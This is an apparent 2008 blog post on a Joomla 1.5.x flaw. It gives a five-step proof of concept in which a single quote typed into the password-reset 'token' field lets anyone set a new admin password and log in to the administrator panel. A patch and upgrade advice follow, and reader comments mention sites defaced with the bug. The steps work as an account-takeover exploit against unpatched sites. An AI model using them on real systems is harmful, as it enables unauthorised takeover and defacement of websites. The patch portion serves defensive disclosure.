Joomla 1.5.x Remote Admin Password Change
August 14th, 2008
####################################################
#### Joomla 1.5.x Remote Admin Password Change ####
####################################################
Bug : http://www.milw0rm.com/exploits/6234
Patch : click here
POC :
1. Go to url : www.target.com/index.php?option=com_user&view=reset&layout=confirm
2. Write into field “token” char ‘ and Click OK.
3. Write new password for admin
4. Go to url : www.target.com/administrator/
5. Login admin with new password
Upgrade to latest Joomla! version (1.5.6 or newer)
0r
Add the following code to global $mainframe; on line 113 of reset.php
[sourcecode language='php']
if(strlen($token) != 32) {
$this->setError(JText::_(’INVALID_TOKEN’));
return false;
}
[/sourcecode]
ainaa on 
june on 
August 14th, 2008 at 11:41 am
harimaumalaya.com = find = “dean was here”
[Reply]
August 14th, 2008 at 11:28 pm
cepat ko eh bro..
Tapi bug ni mmg sangat serious bro.. byk dah site kena deface..
[Reply]